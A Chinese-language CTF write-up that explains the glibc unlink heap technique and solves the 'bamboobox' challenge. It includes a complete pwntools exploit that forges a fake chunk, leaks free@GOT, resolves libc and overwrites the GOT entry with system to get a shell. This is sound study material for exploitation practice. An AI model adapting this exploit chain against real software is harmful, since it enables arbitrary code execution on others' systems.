# PWN_unlink 了解学习
# 原理:
我们在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。
注意这里的是修改指针
简单的介绍下 unlink,其实 ctfwiki 有介绍,这里简单介绍下:
1. 首先找到要进行unlink的chunk(这里记为P)的前后堆块,
   FD = P->fd, BK = P->bk。
	
2. 进行安全检查,glibc2.23的潦草判断条件如下
   FD->bk == P, BK->fd == P。
   
3. 然后执行FD->bk=BK, BK->fd=FD。
4. 当某个non-fast大小的chunk被释放时,就会根据PREV_INUSE位检查其前后堆块是否处于释放状态,如果是就会将前面或后面的堆块取出并与当前堆块合并。取出前面或后面的堆块P的过程就是unlink
这里就是我们需要构造 fake_chunk 去绕过检查,利用 unlink 漏洞,去达到我们想要达成的效果。
- 利用 pwn unlink 漏洞可以实现以下攻击:
 
- 泄露内存:通过 unlink 漏洞,可以将两个相邻的堆块合并,导致一个已经释放的堆块中的指针被篡改。通过修改指针的值,可以泄露堆中的敏感信息,如函数指针、堆块头部数据等。
 - 任意内存写:通过 unlink 漏洞,可以修改已经释放的堆块的前后指针,从而实现任意内存写。这可以用来修改关键数据结构,如堆块头部、全局变量等,进而控制程序的执行流程。
 - 执行任意代码:通过泄露函数指针或修改返回地址等方式,可以篡改程序的控制流,从而实现代码执行。这可以用来执行恶意代码、获取系统权限等。
 
利用思路 ¶
条件 ¶
- UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
 - 已知位置存在一个指针指向可进行 UAF 的 chunk
 效果 ¶
使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18
思路 ¶
设指向可 UAF chunk 的指针的地址为 ptr
- 修改 fd 为 ptr - 0x18
 - 修改 bk 为 ptr - 0x10
 - 触发 unlink
 ptr 处的指针会变为 ptr - 0x18。
光讲原理,很枯燥乏味。上个题目,提提兴趣。
# 题目来源:
# 例行检查:

# 执行程序:

给了个菜单,一共 5 个 node。这里就不一一执行了。
# IDA 看源代码:
- main:
 

可以看到很多函数。这里简单讲一下吧。程序首先申请了 0x10 字节大小的堆空间。并将返回的指针赋予 v4 变量。将 v4 [0] 的函数指针指向 hello_message 内容,v4 [1] 的函数指针指向 goodbye_message 的内容。然后开头打印 v4 [0] 指向的内容。接着进行循环,每循环一次都会调用 menu 函数,并且输入一个不长于 8 字节的数字,然后将输入的数字转换成整数进行 switch 匹配。
- add_item:
 

add 要求输入大小和内容。在这里可以很明显的发现一块 bss 段地址。因为 bss 段可以任意读写,所以可以通过 unlink 漏洞在 bss 段写入 got 地址,从而可以泄露 libc 地址
- remove_item:
 

不存在 uaf 漏洞,但是可以利用 free 一个非 fastbins 大小的 chunk,去触发 unlink 漏洞。
- 
change_item:
![image-20230811124946810]()
 
注释即使重点!
- 
show_item:
![image-20230811125058481]()
 
利用这里的输出,可以去打印处 libc 地址
# exp 构造过程:
add_item(0x40,b'a' * 8)  | |
add_item(0x80,b'b' * 8)  | |
add_item(0x70,b'c' * 8)# To stop merging chunk  | |
add_item(0x20,b'/bin/sh\x00')  | 
首先 make chunk。
ptr=0x6020c8#指向 itemlist 内容  | |
fd=ptr-0x18  | |
bk=ptr-0x10  | |
fake_chunk=p64(0)  | |
fake_chunk+=p64(0x41)  | |
fake_chunk+=p64(fd)  | |
fake_chunk+=p64(bk)  | |
fake_chunk+=b'\x00'*0x20  | |
fake_chunk+=p64(0x40)  | |
fake_chunk+=p64(0x90)  | |
edit(0,len(fake_chunk),fake_chunk)#堆溢出,改写 chunk1 的头,为后续 unlink 触发。  | |
free(1)#触发 unlink, 使 chunk0 指向 itemlist 内容  | 
接下来就是泄露 libc,然后去覆盖 got 地址。执行 shell 函数。
# 最终的 exp:
from LibcSearcher import*  | |
from pwn import *  | |
context(arch='amd64',os='linux',log_level='debug')  | |
# r = remote('node4.buuoj.cn',25461) | |
# r = gdb.debug('./bamboobox') | |
r = process('./bamboobox')  | |
elf = ELF('./bamboobox')  | |
se = lambda data :r.send(data)  | |
sa = lambda delim,data :r.sendafter(delim, data)  | |
sl = lambda data :r.sendline(data)  | |
sla = lambda delim,data :r.sendlineafter(delim, data)  | |
sea = lambda delim,data :r.sendafter(delim, data)  | |
rc = lambda numb=4096 :r.recv(numb)  | |
rl = lambda :r.recvline()  | |
ru = lambda delims :r.recvuntil(delims)  | |
uu32 = lambda data :u32(data.ljust(4, b'\0'))  | |
uu64 = lambda data :u64(data.ljust(8, b'\0'))  | |
lic = lambda data :uu64(ru(data)[-6:])  | |
pack = lambda str, addr :p32(addr)  | |
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)  | |
it = lambda :r.interactive()  | |
def show():  | |
r.sendlineafter("Your choice:", b"1")  | |
def add_item(length,context):  | |
r.recvuntil("Your choice:")  | |
r.sendline(b"2")  | |
r.recvuntil("Please enter the length of item name:")  | |
r.sendline(str(length))  | |
r.recvuntil("Please enter the name of item:")  | |
r.send(context)  | |
def edit(idx,length,context):  | |
r.recvuntil("Your choice:")  | |
r.sendline(b"3")  | |
r.recvuntil("Please enter the index of item:")  | |
r.sendline(str(idx))  | |
r.recvuntil("Please enter the length of item name:")  | |
r.sendline(str(length))  | |
r.recvuntil("Please enter the new name of the item:")  | |
r.send(context)  | |
def free(idx):  | |
r.recvuntil("Your choice:")  | |
r.sendline(b"4")  | |
r.recvuntil("Please enter the index of item:")  | |
r.sendline(str(idx))  | |
def exit():  | |
sa('Your choice:',b'5')  | |
add_item(0x40,b'a' * 8)  | |
add_item(0x80,b'b' * 8)  | |
add_item(0x70,b'c' * 8)# To stop merging chunk  | |
add_item(0x20,b'/bin/sh\x00')  | |
ptr=0x6020c8  | |
fd=ptr-0x18  | |
bk=ptr-0x10  | |
fake_chunk=p64(0)  | |
fake_chunk+=p64(0x41)  | |
fake_chunk+=p64(fd)  | |
fake_chunk+=p64(bk)  | |
fake_chunk+=b'\x00'*0x20  | |
fake_chunk+=p64(0x40)  | |
fake_chunk+=p64(0x90)  | |
edit(0,len(fake_chunk),fake_chunk)  | |
free(1)  | |
free_got=elf.got['free']  | |
log.info("free_got:%x",free_got)  | |
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)  | |
edit(0,len(fake_chunk),payload)  | |
show()  | |
free_addr=lic('\x7f')  | |
log.info("free_addr:%x"%free_addr)  | |
libc=LibcSearcher('free',free_addr)  | |
libc_base=free_addr-libc.dump('free')  | |
log.info("libc_addr:%x",libc_base)  | |
system_addr=libc_base+libc.dump('system')  | |
log.info("system_addr:%x",system_addr)  | |
edit(0,0x8,p64(system_addr))#改写 got 表内容  | |
free(3)  | |
it()  | 

# 总结:
unlink 这里比较的绕,其实不难,但是是去理解指针的指向需要花费一点时间,现在还是不太熟练,要继续加油。


